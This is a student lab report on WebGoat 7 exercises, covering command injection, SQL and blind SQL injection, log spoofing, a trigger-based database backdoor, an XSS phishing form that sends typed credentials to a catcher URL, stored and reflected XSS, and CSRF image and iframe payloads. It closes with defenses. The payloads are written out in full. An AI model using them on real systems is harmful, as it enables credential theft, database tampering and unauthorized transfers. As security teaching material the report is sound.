20175110 王礼博 Exp 9 Web安全基础

1.1 基础知识

SQL注入

  • 原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

XSS

  • 原理:XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。

CSRF

  • 原理:,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

1.2 实验准备

  • 下载webgoat:网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar。

  • 在含有该文件的文件夹那开启命令行,输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat

  • 运行一段时间之后命令行出现Starting ProtocolHandler证明开启成功

20175110 王礼博 Exp 9 Web安全基础

  • 由于WebGoat 7使用jdk 1.8编译,所以需要安装jdk 1.8版本;jdk安装过程不再辍述,如果需要,可参考链接

  • 在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面,用户名密码均为guest,登录后可以看到左侧有一系列课程。

20175110 王礼博 Exp 9 Web安全基础

2.1 Command Injection(命令注入)

  • 在左侧菜单栏中选择Injection Flaws->Command Injection

  • 右键点击复选框选择Inspect Element审查网页元素对源代码<option>进行修改,在复选框中任意一栏的代码(例如第一栏)后添加"& netstat -an & ipconfig"

20175110 王礼博 Exp 9 Web安全基础

  • 点击网页上的按钮View可以看到网络端口使用情况和IP地址

20175110 王礼博 Exp 9 Web安全基础

2.2 Numeric SQL Injection(数字型SQL注入)

  • 在左侧菜单栏中选择Injection Flaws->Numeric SQL Injection

  • 对源代码<option>进行修改,将选中的城市编号value="101"改为value="101 or 1=1"

20175110 王礼博 Exp 9 Web安全基础

  • 点击页面上的Go!显示所有天气数据

20175110 王礼博 Exp 9 Web安全基础

2.3 Log Spoofing(日志欺骗)

  • 在左侧菜单栏中选择Injection Flaws->Log Spoofing

  • 在User Name中填入webgoat%0d%0aLogin Succeeded for username: 20175110wlb

  • 点击Login可以看到webgoat Login Fail,添加的20175110wlb Login Succeeded

20175110 王礼博 Exp 9 Web安全基础

2.4 String SQL Injection(字符串型注入)

  • 在左侧菜单栏中选择Injection Flaws->String SQL Injection

  • 提前闭合"",插入永真式1=1--注释掉后面的内容,可以输入查询的用户名wlb‘ or 1=1--选择表里面的所有数据

20175110 王礼博 Exp 9 Web安全基础

2.5 LAB: SQL Injection

  • 在左侧菜单栏中选择Injection Flaws->LAB: SQL Injection

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20

20175110 王礼博 Exp 9 Web安全基础

  • 以用户Neville登录,输入密码wlb‘ or ‘1‘ = ‘1

20175110 王礼博 Exp 9 Web安全基础

  • 攻击成功,得到所有人员列表

20175110 王礼博 Exp 9 Web安全基础

2.6 Database Backdoors(数据库后门)

  • 输入101,得到该用户的信息

20175110 王礼博 Exp 9 Web安全基础

  • 输入注入语句101; update employee set salary=10000执行两个语句

20175110 王礼博 Exp 9 Web安全基础

  • 输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘‘WHERE userid = NEW.userid注入一个充当SQL后门的触发器
    • BEFORE/AFTER参数指定了触发执行的时间,在事件之前或是之后
    • FOR EACH ROW表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次

20175110 王礼博 Exp 9 Web安全基础

2.7 Blind Numeric SQL Injection(数字型盲注入)

  • 输入查询语句101 AND 1=1,因为两个条件都成立,所以页面返回帐号有效

20175110 王礼博 Exp 9 Web安全基础

  • 输入查询语句101 AND 1=2,因为第二个条件不成立,所以而页面返回帐号无效

20175110 王礼博 Exp 9 Web安全基础

  • 构造复杂语句101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );

20175110 王礼博 Exp 9 Web安全基础

  • 如果页面提示帐号有效,说明PIN>10000,否则PIN<=10000;不断调整数值,通过二分法,最终判断出PIN数值

20175110 王礼博 Exp 9 Web安全基础

  • 得到正确PIN值2364,输入验证,有效。

20175110 王礼博 Exp 9 Web安全基础

2.8 Blind String SQL Injection(字符串型盲注入)

  • 输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘H‘ );取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小

20175110 王礼博 Exp 9 Web安全基础

  • 经过多次测试比较0-9、A-Z、a-z等字符串和页面的返回数据,判断出第一个字符为J,同理继续判断第二个字符,输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1) < ‘h‘ );

20175110 王礼博 Exp 9 Web安全基础

  • 最终的都正确PIN字段Jill输入验证

20175110 王礼博 Exp 9 Web安全基础

3.1 Phishing with XSS 跨站脚本钓鱼攻击

  • 创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

  • 在页面的搜索框输入如下代码,页面增加一个表单

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

20175110 王礼博 Exp 9 Web安全基础

  • 输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat

20175110 王礼博 Exp 9 Web安全基础

3.2 存储型XSS攻击(Stored XSS Attacks)

  • title中任意输入字符,留言板中输入<script>alert("Hello guys");</script>后点击Submit攻击成功

20175110 王礼博 Exp 9 Web安全基础

20175110 王礼博 Exp 9 Web安全基础

3.2 反射型XSS攻击(Reflected XSS Attacks)

  • 这里要使用Chrome才能弹出警告框,输入代码<script>alert("You‘ve been attacked!!!^_^");</script>,点击purchase的同时页面就给出了反馈

20175110 王礼博 Exp 9 Web安全基础

4.1 跨站请求伪造(Cross Site Request Forgery (CSRF))

  • 查看页面右侧Parameters中的src和menu值,分别为327和900

20175110 王礼博 Exp 9 Web安全基础

  • title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=327&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

20175110 王礼博 Exp 9 Web安全基础

4.2 绕过 CSRF 确认( CSRF Prompt By‐Pass)

  • 查看页面右侧Parameters中的src和menu值分别为330和900

20175110 王礼博 Exp 9 Web安全基础

  • 并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=330&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=330&menu=900&transferFunds=CONFIRM"> </iframe>

20175110 王礼博 Exp 9 Web安全基础

  • 在Message List中生成以Title命名的链接,点击进入后,攻击成功

20175110 王礼博 Exp 9 Web安全基础

(1)SQL注入攻击原理,如何防御

  • 原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

  • 预防

    • 普通用户与系统管理员用户的权限要有严格的区分。
    • 强迫使用参数化语句。
    • 加强对用户输入的验证。
    • 多多使用SQL Server数据库自带的安全参数。

(2)XSS攻击的原理,如何防御

  • 原理:XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
    施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。

  • 预防

    • 对输入(和URL参数)进行过滤,对输出进行编码。
    • 对用户提交的的内容进行可靠的输入验证。

(3)CSRF攻击原理,如何防御

  • 原理:,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

  • 预防

    • 通过 referer、token或者验证码 来检测用户提交。
    • 尽量不要在页面的链接中暴露用户隐私信息。
    • 对于用户修改删除等操作最好都使用post 操作 。
    • 避免全站通用的cookie,严格设置cookie的域。

最后一次实验在学习平台上完成了,做了一些练习题,收获还是很大的。感觉网络上信息泄露的方式数不胜数,个人很难有精力去防范如此多种多样的攻击方式,网络安全防范势在必行。否则,人人的资料都只是可以随意买卖的商品,如此会造成社会的巨大问题,我现在掌握的知识还只是皮毛,想要在信息安全这条路上走下去,还需要更加艰苦奋斗的精神才可以!

相关推荐